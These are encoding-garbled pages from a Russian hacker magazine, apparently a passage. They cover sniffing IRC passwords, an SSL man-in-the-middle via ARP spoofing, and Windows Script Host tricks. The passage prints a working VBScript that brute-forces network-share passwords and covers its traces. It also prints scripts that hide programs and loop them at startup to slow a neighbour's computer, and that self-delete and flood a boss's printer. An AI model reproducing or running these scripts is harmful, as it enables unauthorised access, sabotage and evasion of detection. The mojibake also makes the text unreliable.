ttssh.html), ñóùåñòâóåò âåðñèÿ
OpenSSH äëÿ Cygwin
(www.cygmin.com) - ýìóëÿòîðà Ëè-
íóêñà ïîä Âèíäû.

ÈÐÊÀ
Íå ñàìàÿ àêòóàëüíàÿ ïðîáëåìà -
äîñòàòü ïàðîëü îò íèêà, íî âñå æå.
Êàê ïðîèñõîäèò èäåíòèôèêàöèÿ íà
ñåðâåðàõ, ãäå åñòü ñåðâèñû òèïà
Nickserv, Chanserv, etc? À î÷åíü
ïðîñòî: ïîñûëàåòñÿ ìåññàãà ñåðâè-
ñó, â êîòîðîé ñîäåðæèòñÿ ïàðîëü.
Íó èëè ìîæíî ïîñòàâèòü èäåíòèôè-
êàöèþ ïî ìàñêå è ïðî÷åé õðåíè, íî
ýòî íàñ óæå íå èíòåðåñóåò. Ìåññàãè
ïåðåäàþòñÿ ÷èñòûì òåêñòîì (ìî-
æåøü äàæå ïî÷èòàòü ïðèâàòû :), õî-
òÿ ïðîùå äëÿ ýòîãî âîñïîëüçîâàòü-

ñÿ ñïåöèàëüíûìè ïðîãàìè, à òî
ôèëüòðîâàòü çàìó÷àåøüñÿ). Ñîîò-
âåòñòâåííî, ëîâÿòñÿ èðêèíû ïàêåòû
ëþáûì íîðìàëüíûì ñíèôôåðîì
(Cain íå ëîâèò - îí íå çíàåò, ÷òî
åñòü IRC :)). Çàùèòèòü ñâîå îáùå-
íèå ìîæíî (çà äâàäöàòü ìèíóò ïî-
èñêà ÿ íàøåë ïëàãèí äëÿ øèôðîâà-
íèÿ ê mIRC çäåñü:
cs.ttk.ru/files/encrypt.zip), íî ýòî
ñëîæíî, äà è ïàðîëè òû âñå ðàâíî
íå çàøèôðóåøü. Íåîáõîäèìî ìå-
íÿòü ñàì ïðèíöèï ðàáîòû IRC, ñîç-
äàâàòü àëüòåðíàòèâó, ïîääåðæèâà-
þùóþ øèôðîâàíèå â îñíîâå. Òà-
êîé ïðîòîêîë ñóùåñòâóåò: íàçûâà-
åòñÿ îí SILC, è ïî÷èòàòü î íåì ìîæ-
íî íà ru.silcnet.org.

CRYPTO
Åñëè òû óæå ñêà÷àë Ettercap èëè
Cain, òî ìîã çàìåòèòü, ÷òî â íèõ
åñòü âåñüìà èíòåðåñíûå ïóíêòû
äëÿ çàõâàòà êðèïòîâàííîãî òðàô-
ôèêà. �À ÷åãî òû òóò ïîëñòàòüè
ãíàë ïðî øèôðîâàíèå è çàùèòó îò

ñíèôôèíãà?� - ñïðîñèøü òû. À ÿ
îòâå÷ó: ïåðåõâàòèòü çàøèôðîâàí-
íûé òðàôôèê ëåãêî. Íî âîò ñêîëü-
êî âåêîâ òû áóäåøü äîëáèòüñÿ íàä
128-áèòíûì êëþ÷îì - ýòî äðóãîé
âîïðîñ :). Åñòåñòâåííî, ÷òî, ïåðåõ-
âàòèâ øèôðîâàííûé ïàêåò, òû ìî-
æåøü âçÿòü ãäå-íèáóäü ñóïåð-
êîìïüþòåð è ÷åðåç ìèíóòó óæå âñå

÷èòàòü :). Îäíàêî åñòü ñïîñîá íîð-
ìàëüíî ïåðåõâàòûâàòü êðèïòîâàí-
íûé òðàôôèê, õîòÿ îí è äîñòàòî÷íî
ñëîæåí. Íåîáõîäèìî âêëèíèòüñÿ
ìåæäó ïîëó÷àòåëåì è îòïðàâèòå-
ëåì ïàêåòà, ïðè÷åì ÷åðåç òåáÿ
äîëæíà ïðîéòè âñÿ çàùèùåííàÿ
ñåññèÿ. Ñïîñîá äëÿ ýòîãî åñòü -
APR, î íåì ÿ óæå ãîâîðèë. Èòàê,
ïîëüçîâàòåëü çàõîäèò ñ ïîìîùüþ
SSL íà ñàéò. Çàïðîñ èäåò ê òåáå, òû
ïåðåíàïðàâëÿåøü åãî íà ñåðâàê,
çàìåíÿÿ IP è MAC. Íàçàä îòïðàâëÿ-
åòñÿ ñåðòèôèêàò ñ êëþ÷îì, êîòîðûé
òû ñîõðàíÿåøü, à ïîëüçîâàòåëþ
âçàìåí îòïðàâëÿåøü ïîääåëüíûé.
Êîãäà ñîåäèíåíèå óñòàíîâëåíî -
÷åðåç òåáÿ ïîáåãóò çàøèôðîâàí-
íûå ïàêåòû. Íî êëþ÷-òî ó òåáÿ åñòü
:). Íî ýòî â òåîðèè. Ñêàæó ÷åñòíî:
íè ñ Cain, íè ñ Ettercap ó ìåíÿ òàê è
íå ïîëó÷èëîñü ïåðåõâàòèòü òðàô-
ôèê. Òî åñòü îíè âèäåëè ñîåäèíå-
íèå è ïîñûëàëè ëåâûå ñåðòèôèêà-
òû, íî ðàñøèôðîâàííóþ ñåññèþ ÿ
òàê è íå ïîëó÷èë :(. Çàòî ëþäè, êî-

òîðûå ìíå ïîìîãàëè (Special thanks
to Trinity and Mercenario), ñêàçàëè,
÷òî îíè âîîáùå íå ìîãëè çàéòè íà
çàùèùåííóþ ñòðàíèöó :). Ìîæåò ó
òåáÿ ïîëó÷èòñÿ ëó÷øå...

ÂÎËÜÍÎ!
Íó ÷òî æå, òåñòèðîâàíèå îðóæèÿ
ïðîøëî â öåëîì óñïåøíî. Îáû÷íûé
òðàôôèê ìû ïåðåõâàòèëè ñ óñïå-
õîì è äàæå ïðîáèëè áðåøü â îáî-
ðîíå çàùèùåííûõ ñîåäèíåíèé. Îñ-
òàåòñÿ ñäåëàòü íåóòåøèòåëüíûå
âûâîäû: ñíèôôåðû ýòî î÷åíü ìîù-
íîå îðóæèå, îò êîòîðîãî âåñüìà
ñëîæíî çàùèòèòüñÿ. Ïàíàöååé ìîã-
ëî áû ñòàòü ïðèìåíåíèå øèôðîâà-
íèÿ íà íèçêîì óðîâíå (IPsec è ïî-
äîáíûå âåùè), íî äî ýòîãî åùå äà-
ëåêî. Äà è îáíàðóæèòü èõ ñëîæíî
ïðè óñëîâèè, ÷òî õàêåð ãðàìîòíî
âñå íàñòðîèë. Ó ñåáÿ íà âèíòå ÿ
îáÿçàòåëüíî îñòàâëþ Iris è Ettercap
(ìíå îí âîîáùå ïîêàçàëñÿ ñàìûì
ëó÷øèì, õîòÿ è íå î÷åíü óäîáíûì).
Íó è ó Cain åñòü øàíñ, åñëè, êîíå÷-
íî, äîæèâåò äî ôèíàëüíîé âåðñèè
è îáðàñòåò äîêóìåíòàöèåé.

E

Ìîæåøü ïîñìîòðåòü íà ñêðèíå
ïåðåõâà÷åííûé ïàêåò: 

íè ôèãà òàì íå ðàçîáðàòü ïàðîëÿ :(. 
À âñå ïîòîìó, ÷òî îí øèôðóåòñÿ.

Ïî÷óâñòâóé ðàçíèöó: ëîãèí è ïàðîëü â http

Ëîã è ïàññ â https. Íàéäè 110 îòëè÷èé :)

Êñòàòè, òû
çíàåøü, ÷òî
sniffer - ýòî

çàðåãèñòðèðî-
âàííàÿ òîðãî-

âàÿ ìàðêà.
Ïîýòîìó îôè-
öèàëüíî ïðî-

ãè çîâóòñÿ
network ana-

lyzer :).

Íà
www.robert-

graham.com/
pubs/sniffing-
faq.html åñòü

âåñüìà îá-
øèðíûé FAQ
ïî ñíèôôå-

ðàì.



indows Script Host (äà-
ëåå WSH) ñòàíäàðòíî
âõîäèò â Ìàçäàé, íà-

÷èíàÿ ñ âåðñèè 98 (òåáå íàâåðíÿêà
âñòðå÷àëñÿ ïóíêò �Ñåðâåð ñöåíàðè-
åâ� ïðè óñòàíîâêå Windows). 

Îí ïðåäíàçíà÷åí â ïåðâóþ î÷åðåäü
äëÿ àâòîìàòèçàöèè ôóíêöèé
Windows, òàê êàê îáëàäàåò îáøèð-
íûìè âîçìîæíîñòÿìè ïî ðàáîòå ñ
ôàéëîâîé ñèñòåìîé, ñåòüþ, ïðèíòå-
ðàìè, ïåðåìåííûìè îêðóæåíèÿ,
ïðèëîæåíèÿìè etc. Äëÿ îïèñàíèÿ
âñåõ åãî âîçìîæíîñòåé ïîíàäîáè-
ëàñü áû âñÿ ýòà ñòàòüÿ. Äåëî â òîì,
÷òî WSH ïîçâîëÿåò èñïîëüçîâàòü,
à òàêæå ñîçäàâàòü ñâîè óñòàíîâ-
ëåííûå â ñèñòåìå COM-êîìïîíåíòû,
ýëåìåíòû óïðàâëåíèÿ ActiveX è
èíñòðóìåíòàðèé óïðàâëåíèÿ
Windows WMI. Êðîìå òîãî, WSH äàåò
âîçìîæíîñòü äîñòóïà ê ñëóæáàì êà-
òàëîãîâ ÷åðåç ADSI, ê áàçàì äàííûõ
÷åðåç ActiveX Data Object (ADO) è ê
ôóíêöèÿì îòïðàâêè ïî÷òû ÷åðåç
Collaboration Data Object (CDO).
Ñêðèïòû äëÿ Windows Script Host
ìîãóò áûòü íå òîëüêî îòäåëüíûìè
ïðîãðàììàìè, íî è âñòðàèâàòüñÿ â
HTML-ñòðàíèöû, äàáû áûòü èñïîëü-

çîâàííûìè â òåõíîëîãèè Active
Server Pages (ASP), òàê æå êàê
VBScript è JScript. Â îáùåì, ïðè
äîñòàòî÷íîì íàâûêå ïðèìåíåíèå
ñöåíàðèåâ îãðàíè÷åíî ëèøü òâîåé
ôàíòàçèåé.
Ñêðèïò ïðåäñòàâëÿåò ñîáîé îáû÷-
íûé òåêñòîâûé ôàéë ñ ðàñøèðåíè-
åì WSF, íàïèñàííûé íà ÿçûêå ñöå-
íàðèåâ VBScript èëè JScript. Òåîðå-
òè÷åñêè âîçìîæíî èñïîëüçîâàíèå è
äðóãèõ ÿçûêîâ. Ñîçäàâàòü ôàéëû
ìîæíî â ëþáîì òåêñòîâîì ðåäàêòî-
ðå, ñïîñîáíîì ñîõðàíÿòü äîêóìåíòû
â ôîðìàòå �òîëüêî òåêñò�, íàïðè-
ìåð, Notepad. Åäèíñòâåííîå îãðàíè-
÷åíèå íà ðàçìåð ñöåíàðèåâ - ëèìèò,
íàëàãàåìûé îïåðàöèîííîé ñèñòå-
ìîé íà ðàçìåð ôàéëà. 

ÇÀÏÓÑÊ È ÈÑÏÎËÍÅÍÈÅ 
ÑÖÅÍÀÐÈÅÂ
Äëÿ çàïóñêà ñêðèïòîâ èìåþòñÿ òðè
ïóòè: îäèí èç íèõ - ïðîñòî äâàæäû
ùåëêíóòü ïî ôàéëó èëè èêîíêå.
Äðóãîé - âûáðàòü ïóíêò �Âûïîë-
íèòü� èç ìåíþ �Ïóñê� è íàïèñàòü
ïîëíîå èìÿ ôàéëà â ïîëå. Íàêîíåö,
ìîæíî çàïóñòèòü ñåðâåð ñöåíàðèåâ
WSH èç òîãî æå �Âûïîëíèòü�, äîáà-
âèâ ê íåìó èìÿ ñêðèïòà è ëþáîé èç
âîçìîæíûõ ïàðàìåòðîâ.
Ñàì WSH ðåàëèçîâàí â äâóõ ôàé-
ëàõ:
WScript.exe - ñåðâåð ñöåíàðèåâ,
ïðåäíàçíà÷åííûé äëÿ âçàèìîäåé-
ñòâèÿ ñ ïîëüçîâàòåëåì ÷åðåç äèà-
ëîãîâûå îêíà Windows.
CScript.exe - êîíñîëüíîå ïðèëîæå-
íèå, ðàáîòàþùåå â îêíå êîìàíäíîé
ñòðîêè.
Âûãëÿäåòü ýòî äîëæíî òàê:

WScript.exe ïîëíîå_èìÿ_ñöåíàðèÿ [ïàðà-
ìåòðû ñåðâåðà] [àðãóìåíòû ñöåíàðèÿ]

èëè òàê:

CScript.exe ïîëíîå_èìÿ_ñöåíàðèÿ [ïàðà-
ìåòðû ñåðâåðà] [àðãóìåíòû ñöåíàðèÿ]

Ïàðàìåòðû õîñòà âêëþ÷àþò èëè
îòêëþ÷àþò ðàçëè÷íûå îïöèè
Windows Scripting Host è âñåãäà
ïðåäâàðÿþòñÿ äâóìÿ ïðÿìûìè ñëå-
øàìè (//). Îñòàëüíûå ïàðàìåòðû
âñåãäà ïðåäâàðÿþòñÿ îäíèì ïðÿ-
ìûì ñëåøåì (/). 

Íàïðèìåð, êîìàíäà CScript.exe //?
âûâåäåò ñïèñîê ïàðàìåòðîâ ñåðâå-
ðà. Ãëàâíàÿ ðàçíèöà ìåæäó íèìè â
òîì, ÷òî òîëüêî CScript.exe äàåò
âîçìîæíîñòü ïîëüçîâàòüñÿ ïåðå-
ìåííîé îêðóæåíèÿ ERRORLEVEL
èíòåðïðåòàòîðà êîìàíä
command.com èëè cmd.exe (ERROR-
LEVEL - ïåðåìåííàÿ, ñîäåðæàùàÿ
êîä âûõîäà èç ïîñëåäíåé êîìàíäû,
âûïîëíåííîé èíòåðïðåòàòîðîì êî-
ìàíä). 
Îáû÷íî ñöåíàðèè WSH âûïîëíÿþò-
ñÿ áåç âûâîäà äèàëîãîâûõ îêîí è
ñîîáùåíèé. Íàïðèìåð, ïðè èçìåíå-
íèè êëþ÷åé ðååñòðà, èñïîëüçóÿ
REG ôàéë, âûâîäèòñÿ äâà äèàëîãî-
âûõ îêíà, ïðè èñïîëüçîâàíèè æå
WSF ôàéëà - íè îäíîãî. Òàê ÷òî ìî-
æåøü ñìåëî äîáàâëÿòü ñêðèïòû â
àâòîçàãðóçêó. 
Êàê áûëî ñêàçàíî âûøå, ñöåíàðèé
ïðåäñòàâëÿåò ñîáîé òåêñòîâûé äî-
êóìåíò. Äëÿ íîðìàëüíîãî èñïîëíå-
íèÿ ñöåíàðèÿ îí äîëæåí ñîäåðæàòü
íåîáõîäèìûå XML-ýëåìåíòû. Èõ ìè-
íèìàëüíûé íàáîð òàêîâ:

<?xml version=�1.0� encoding=�ISO-8859-1�?>
<job id=�T1�>
<script language=�VBScript�>
<![CDATA[
� Çäåñü ðàñïîëàãàåòñÿ ñàì ñöåíàðèé. 
]]>
</script>

</job>
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W
Äëÿ îïèñàíèÿ
âñåõ âîçìîæ-
íîñòåé WSH
íå õâàòèò öå-
ëîãî æóðíàëà

Íàèáîëåå ÿð-
êèå ïðèìåðû
èñïîëüçîâàíèÿ
VBScript -
çíàìåíèòûå
�LoveLetter�
(�I Love You�)
è �AnnaKour-
nikova�.

Ñðåäà ðàçðàáîòêè ñêðèïòîâ :)

Ñåðâåð ñöåíàðèåâ Windows Script Host
ñòàíäàðòíî óñòàíàâëèâàåòñÿ â Windows

Èñïîëüçîâàíèå CScript â êà÷åñòâå 

ñåðâåðà ñöåíàðèåâ

Èñïîëüçîâàíèå WScript â êà÷åñòâå 

ñåðâåðà ñöåíàðèåâ

WINDOWS SCRIPT HOST

Êàê òû, íàâåðíîå, ïîìíèøü, ñàìîå ñòðàííîå óâëå÷åíèå Äðîíè÷à (ïîñëå åãî
ñóìàñøåäøåé òà÷êè, ðàçóìååòñÿ :)) - ýòî ñêðèïòèíã â êîíñîëè w2k ñ çàïîäëÿíñêèìè
öåëÿìè. À âåäü ìàëî êòî çíàåò, ÷òî â Âèíäàõ åñòü åùå îäèí îáðàáîò÷èê ñêðèïòîâ,
ïîìèìî cmd.exe, ïîä íàçâàíèåì Windows Script Host, ïîçâîëÿþùåé âäîâîëü
ïîãëóìèòüñÿ íàä íàðîäîì, èñïîëüçóÿ ñåêðåòíóþ õàêåðñêóþ ïðîãðàììó �notepad.exe� ;). 

Àíàëèçèðóþùèé 
(analyst1945@mail.ru)

ÕÀÊ Ñ ÁËÎÊÍÎÒÎÌ ÍÀÏÅÐÅÂÅÑ
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Åñëè èñïîëüçóåòñÿ JScript, òî àòðè-
áóò language ñëåäóåò çàìåíèòü íà
ñîîòâåòñòâóþùèé.
WSH äîïóñêàåò èñïîëüçîâàíèå íåñ-
êîëüêèõ ÿçûêîâ â îäíîì ñöåíàðèè.
Äëÿ ýòîãî íóæíî âñåãî ëèøü äîáà-
âèòü êîíòåéíåð: 

<script language=�JScript�>
<![CDATA[
�Çäåñü ðàñïîëàãàåòñÿ ñàì ñöåíàðèé. 
]]>

</script>

óêàçàâ â àòðèáóòå language èñïîëü-
çóåìûé ÿçûê. Òàêæå âîçìîæíî
ïîäêëþ÷åíèå ñêðèïòîâ èç âíåøíèõ
ôàéëîâ. Äëÿ ýòîãî äîáàâëÿåòñÿ
ñëåäóþùèé ýëåìåíò:

<script language=�VBScript� src=�èìÿ_ôàé-
ëà.vbs�>

ÎÒ ÒÅÎÐÈÈ - Ê ÏÐÀÊÒÈÊÅ
Ïåðåéäåì íåïîñðåäñòâåííî ê íàïè-
ñàíèþ ñöåíàðèåâ. Âñå ïðèìåðû ÿ áó-
äó ïðèâîäèòü íà VBScript. Íà ìîé
âçãëÿä, VBScript ãîðàçäî óäîáíåå,
÷åì JScript, òàê êàê ïîääåðæèâàåò
ïðîöåäóðû è ôóíêöèè è â áîëüøèí-
ñòâå ñëó÷àåâ íå ÷óâñòâèòåëåí ê ðåãè-
ñòðó áóêâ. ß íå ñîáèðàþñü îáó÷àòü
òåáÿ îñíîâàì VBScript, òàê êàê â îä-
íîé ñòàòüå ýòî ïðîñòî íåâîçìîæíî,
äà è ó÷åáíèêîâ ïî ýòîé òåìå äîñòà-
òî÷íî. Äëÿ íà÷àëà ëèøü îòìå÷ó îñ-
íîâíûå îòëè÷èÿ VBScript îò åãî ñòàð-
øåãî áðàòà - Visual Basic�a. Ïðîãðàì-
ìû íà VBScript íå ìîãóò áûòü ñêîì-
ïèëèðîâàíû â EXE-ôàéëû. Åäèí-
ñòâåííûì òèïîì äàííûõ, äîïóñòèìûì

â VBScript, ÿâëÿåòñÿ Variant. Ñàì
VBScript íå èìååò ïðÿìûõ èíñòðóê-
öèé, ïîçâîëÿþùèõ ÷èòàòü èëè çàïè-
ñûâàòü ôàéëû íà äèñêå, âûâîäèòü
èíôîðìàöèþ â êîìàíäíóþ ñòðîêó,
èçìåíÿòü çàïèñè â ðååñòðå è ò.ä. ×òî-
áû ñïðàâèòüñÿ ñ òàêèìè çàäà÷àìè,
íóæíî âîñïîëüçîâàòüñÿ äîïîëíè-
òåëüíûìè COM-îáúåêòàìè. Ðÿä òàêèõ
îáúåêòîâ âõîäèò â ïîñòàâêó WSH, à
îäèí èç íèõ, WScript, äàæå óæå èìååò
ñîçäàííûé ýêçåìïëÿð, è èì ìîæíî
ïîëüçîâàòüñÿ íåïîñðåäñòâåííî, áåç
ïðåäâàðèòåëüíîãî ñîçäàíèÿ. Îñòàëü-
íûå ñîçäàþòñÿ ñ ïîìîùüþ ôóíêöèè
WScript.CreateObject. Íàïðèìåð:

Set fso =
WScript.CreateObject(�Scripting.FileSystemO
bject�)
� Ïîëó÷èòü äîñòóï ê ôàéëîâîé ñèñ-
òåìå.
Set txtstream =
fso.opentextfile(�file.txt�,8,true)
� Îòêðûòü ôàéë íà çàïèñü. Åñëè
ôàéëà íå ñóùåñòâóåò - ñîçäàòü åãî.
txtstream.WriteLine �Hello, Word!�

� Äîáàâèòü â ôàéë ñòðîêó �Hello,
Word!�
Íàèáîëåå ÿðêèå ïðèìåðû èñïîëü-
çîâàíèÿ VBScript - çíàìåíèòûå
�LoveLetter� (�I Love You�) è
�AnnaKournikova�.

Íàäåþñü, ÷òî âîïðîñîâ ïîêà íå
âîçíèêëî. Òåïåðü çàéìåìñÿ íåïîñ-
ðåäñòâåííî êîäèíãîì.

ÑÊÀÍÈÐÓÅÌ ËÎÊÀËÊÓ
Ñèòóàöèÿ ïåðâàÿ: íà ñåðâàêå òû âè-
äèøü êó÷ó çàøàðåííûõ ðåñóðñîâ, è
òâîè ðóêè íåïðîèçâîëüíî òÿíóòñÿ ê
íèì, îäíàêî â êîíöå - ïîëíûé îáëîì
ñ ïàðîëåì :(. Åñëè íà òâîåì êîìïå
ïðèñóòñòâóþò äèñêîâîäû è/èëè åñòü
Èíåò - ñìåëî êà÷àé íóæíóþ ïðîãó,
äàëüøå ÿ òåáå íå ñîâåò÷èê. Íó à åñ-
ëè íè÷åãî èç ýòîãî íåò? Òóò-òî òåáå
è ïîìîæåò ñëàäêàÿ ïàðî÷êà Áëîê-
íîò + WSH. Áóäåøü ïèñàòü ñêàíåð
íåïîñðåäñòâåííî íà ðàáî÷åì ìåñòå.
Íàáèâàé ñëåäóþùèå ñòðî÷êè. Êîì-
ìåíòèðîâàòü áóäó ïî õîäó äåëà.

<?xml version=�1.0� encoding=�ISO-8859-1�?>
<job id=�T1�>
<script language=�VBScript�>
<![CDATA[
�Êàê íàïèñàíî âûøå - íåîáõîäèìîå
XML-îôîðìëåíèå

Option explicit
Dim x1,x2,x3,x4,x5,x6,x7,x8,x9
�Êàêàÿ äëèíà ïàðîëÿ - ñòîëüêî è
ñèìâîëîâ.
Dim GetNetwork,WshNetwork,fso,pst,pas-
sout, PassLog
Dim machine, sharez, diskletter, UserzName
�Çàáèâàåì ïåðåìåííûå äëÿ ñèñòåì-
íûõ îáúåêòîâ.

Set WshNetwork =
CreateObject(�WScript.Network�)
Set fso =
wscript.CreateObject(�Scripting.FileSystemO
bject�)
Set passout =
fso.opentextfile(PassLog,2,true)
�Ïîäêëþ÷àåì ñèñòåìíûå îáúåêòû

machine = �\\WorkstationName� 
�Èìÿ êîìïüþòåðà ñ çàøàðåííûì ðå-
ñóðñîì - åãî òû âèäèøü â Ñåòåâîì
îêðóæåíèè.
sharez = �\d�
�Èìÿ çàøàðåííîãî ðåñóðñà - åãî òû âè-
äèøü ïðè êëèêå íà óäàëåííîì êîìïå. 
diskletter = �X:�

�Ïîä êàêîé áóêâîé åãî áóäåì ïîäê-
ëþ÷àòü ê òâîåìó êîìïó.
UserzName = �User�
�Ëîãèí äëÿ ïîäêëþ÷åíèÿ. Â ñåòÿõ
ÂûíüÄîñ 9õ ìîæíî óêàçàòü ëþáîé.
Passlog = �c:\windows\FileSystem.log�

�Ôàéë, â êîòîðûé áóäåò çàïèñàí
íàéäåííûé ïàðîëü.

�Ýòî ïðîöåäóðà ôîðìèðîâàíèÿ âà-
ðèàíòîâ ïàðîëÿ.
sub passgen()
for x1=32 to 255
for x2=32 to 255
for x3=32 to 255
for x4=32 to 255
�Ïîÿñíåíèÿ:
�Êàêàÿ äëèíà ïàðîëÿ - ñòîëüêî è
âëîæåííûõ öèêëîâ. Çíà÷åíèÿ ïåðå-
ìåííûõ õ1-õ4 - ýòî êîäû ïîäáèðàå-
ìûõ ñèìâîëîâ. Íàïðèìåð, åñëè òî÷-
íî çíàåøü, ÷òî ïàðîëü ñîñòîèò
òîëüêî èç öèôð - èçìåíÿé äèàïà-
çîí öèêëà
pst=chr(x1) & chr(x2) & chr(x3) & chr(x4).
�À çäåñü ñîáèðàåòñÿ ñòðîêà ïàðîëÿ
èç îòäåëüíûõ ñèìâîëîâ. Íàïðèìåð,
åñëè çíàåøü, ÷òî ïåðâûé ñèìâîë
ïàðîëÿ -�q�, òî âìåñòî chr(x1) ïîäñ-
òàâëÿé �q�, à öèêë ñ ïåðåìåííîé x1
ïðîñòî óäàëè.
call show()
�Âûçûâàåì ïðîöåäóðó îáðàáîòêè
ïîëó÷åííîãî âàðèàíòà ïàðîëÿ.
wscript.sleep 1 
�Ñíèæàåì ïèíã - ïàóçà ìåæäó ïî-
ïûòêàìè â ìèëëèñåêóíäàõ.
�Âïðî÷åì, ýòó ñòðîêó ìîæåøü íå
óêàçûâàòü.
next
next
next
next
end sub

�À ýòî ñàìà ïðîöåäóðà ïîäáîðà ïàðîëÿ.
sub show()
On Error Resume Next
�Âêëþ÷àåì îáðàáîò÷èê îøèáîê.
WshNetwork.MapNetworkDrive diskletter,
machine & sharez, �false�, UserzName, pst
�Ïûòàåìñÿ ïîäêëþ÷èòü ðåñóðñ.
ErrCheck Err.Number
end sub

�Ïðîöåäóðà îáðàáîòêè îøèáîê.
Sub ErrCheck(nr)
Select Case nr
Case 0
�Åñëè îøèáêè íå ïðîèçîøëî - ïà-
ðîëü âåðíûé.
passout.WriteLine �Resource mapped at
password:� & pst
�Ïèøåì â ëîã ïîëó÷åííûé ïàðîëü.
passout.close

Ìîæíî óäàëèòü ôàéë ñêðèïòà 
äî çàâåðøåíèÿ åãî ðàáîòû.

Ïðè èçìåíåíèè
êëþ÷åé ðååñò-
ðà, èñïîëüçóÿ

REG ôàéë, âû-
âîäèòñÿ äâà
äèàëîãîâûõ

îêíà. Ïðè èñ-
ïîëüçîâàíèè
WSF ôàéëà -

íè îäíîãî.

Ñêðèïòû äëÿ
Windows Script

Host ìîãóò
áûòü íå òîëü-
êî îòäåëüíû-

ìè ïðîãðàììà-
ìè, íî è

âñòðàèâàòüñÿ
â HTML-ñòðà-

íèöû.

Ãþíòåð Áîðí. Ðóêîâîäñòâî ðàçðà-
áîò÷èêà íà Windows Script Host -
Ìîñêâà: Ïèòåð, 2001.
Ïîïîâ À. Êîìàíäíûå ôàéëû è ñöå-

íàðèè â Windows Script Host -
Ñàíêò-Ïåòåðáóðã: BHV-CÏá. 
Ïîë Ëîìàêñ. Èçó÷àåì VBScript -
Êèåâ: BHV, 1998.

Êíèãè ïî WSH è VBScript:
H O W T O
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�Çàêðûâàåì ôàéë ëîãà.
set passout = nothing
WshNetwork.RemoveNetworkDrive diskletter
�Çàìåòàåì ñëåäû.
WScript.Quit
�Çàâåðøàåì ðàáîòó ñêðèïòà.
Case Else
�Ïðè íåâåðíîì ïàðîëå áëîêèðóåì
âûâîä ñîîáùåíèÿ îá îøèáêå.
�Íè÷åãî íå ïðîèñõîäèò. Ñêàíèðîâà-
íèå ïðîäîëæàåòñÿ.
End Select
End Sub

call passgen
�Çàïóñêàåì ñöåíàðèé íà âûïîëíåíèå.
�Çàêðûâàåì XML ñòðóêòóðó.
]]>
</script>

</job>

Ïåðåáîðùèê áóäåò ðàáîòàòü äî îá-
íàðóæåíèÿ ïàðîëÿ èëè ïåðåçàãðóç-
êè. Ïðè æåëàíèè è íåáîëüøîì çíà-
íèè ÿçûêà åãî ìîæíî óëó÷øèòü.
Íàïðèìåð, ïîìåñòèòü â àâòîçàãðóç-
êó è íà÷èíàòü ïîäáîð ñ ïîñëåäíåãî
âàðèàíòà. Èëè ðàçîáðàòüñÿ ñ ïàðî-
ëÿìè íåèçâåñòíîé äëèíû. Ýòî óæå
çàâèñèò îò òåáÿ è òâîåé ôàíòàçèè.

ÁÛË P4, ÑÒÀË - I486
Ñèòóàöèÿ âòîðàÿ: òâîé ñîñåä äîñòàë
òåáÿ ñâîèìè ðàññêàçàìè î òîì, êà-
êàÿ ó íåãî íàâîðî÷åííàÿ òà÷êà è
êàê ó íåãî áåãàþò èãðóøêè. Äîêàæè
åìó îáðàòíîå ;). Ïèøè ñëåäóþùèé
êîä:

<?xml version=�1.0� encoding=�ISO-8859-1�?>
<job id=�T1�>
<script language=�VBScript�>
<![CDATA[

Option explicit
Dim ProgName

ProgName=�notepad�
�Â êàâû÷êàõ óêàçàòü ÏÎËÍÛÉ ïóòü
ê íóæíîé ïðîãðàììå/ôàéëó, íàïðè-
ìåð, �C\Program files\Quake\
Quake.exe�, à ëó÷øå ïðîñòî
�Quake.exe�, à ñàì ñêðèïò ïîìåñòè ñ
íèì â îäíó ïàïêó.
WScript.CreateObject(�WScript.Shell�).Run
progname,0
Âñÿ ôèøêà ñîñòîèò â òîì, ÷òî àòðè-
áóò �0� â ïîñëåäíåé ñòðîêå êîäà
óêàçûâàåò íà òî, ÷òî ïðîãðàììó íà-
äî çàïóñêàòü â �íåâèäèìîì� ðåæè-
ìå, ò.å. î åå ïðèñóòñòâèè ìîæíî óç-
íàòü ëèøü ïî CTRL-ALT-DEL. Ïðè
æåëàíèè ïîìåñòè ýòó ñòðî÷êó â
òðåõ- (÷åòûðåõ-, ïÿòè-... :)) êðàòíûé
öèêë, à ññûëêó íà ñöåíàðèé - â àâ-
òîçàãðóçêó. È âîçðàäóåòñÿ òîãäà
ïðèÿòåëü òàêîìó �óñêîðåíèþ� êîì-
ïà. È âîñòðåáóåøü òû ñ íåãî ìàãà-
ðû÷ çà óñòðàíåíèå ãëþêîâ :).

ÏÐÅÂÐÀÙÀÅÌ ÏÐÈÍÒÅÐ Â ÐÀÁÀ
Ñèòóàöèÿ òðåòüÿ: òâîé ëþáèìûé íà-
÷àëüíèê èìååò ìóäðîñòü îñòàâëÿòü
â ñâîå îòñóòñòâèå âêëþ÷åííûé
ïðèíòåð ñ ïîëíûì ëîòêîì áóìàãè?

Äàé åìó âîçìîæíîñòü íàñëàäèòüñÿ
äðóæåñêèì øàðæåì, àâòîáèîãðàôè-
åé â âîëüíîé òðàêòîâêå èëè ïðîèç-
âåäåíèåì èñêóññòâà - áåññìåðòíûì
òâîðåíèåì Ìàëåâè÷à - òèðàæîì
ýäàê â ïÿòüñîò ýêçåìïëÿðîâ! Íàáè-
ðàé ýòîò ñêðèïò:

<?xml version=�1.0� encoding=�ISO-8859-1�?>
<job id=�T1�>
<script language=�VBScript�>
<![CDATA[

Option explicit
Dim owshshell, x
Dim scriptname,fso
Dim ProgName, filename, amount
ProgName=�paint.exe�

�Â êàâû÷êàõ óêàçàòü ïóòü ê ðàñïå-
÷àòûâàþùåé ïðîãðàììå.
filename=�file.bmp�
�Â êàâû÷êàõ óêàçàòü ÏÎËÍÛÉ ïóòü ê
ðàñïå÷àòûâàåìîìó ôàéëó. Ìîæåøü
äàòü ðàñïå÷àòûâàåìîìó ôàéëó ëþ-
áîå èìÿ è ðàñøèðåíèå, ãëàâíîå -
ïðàâèëüíî óêàçàòü åãî â ñêðèïòå.
amount=500
�Êîëè÷åñòâî êîïèé.
set owshshell=WScript.CreateObject 

(�WScript.Shell�)
set fso=CreateObject(�Scripting. 

FileSystemObject�)
if weekday(now)=VBmonday Then
�Ïðîâåðêà íà äàòó. Â äàííîì ñëó÷àå
- ïîíåäåëüíèê. Ïîýêñïåðèìåíòèðóé. 
fso.Getfile(scriptname).Delete
�Óäàëÿåì ñàì ñêðèïò - òåáå óëèêè
íå íóæíû ;).
wscript.sleep 14400000
�Ïàóçà â ìèëëèñåêóíäàõ ïåðåä ïåð-
âîé ðàñïå÷àòêîé ïîñëå çàïóñêà
ñêðèïòà.
�Ðàññ÷èòàé ïðîìåæóòîê îò âêëþ÷å-
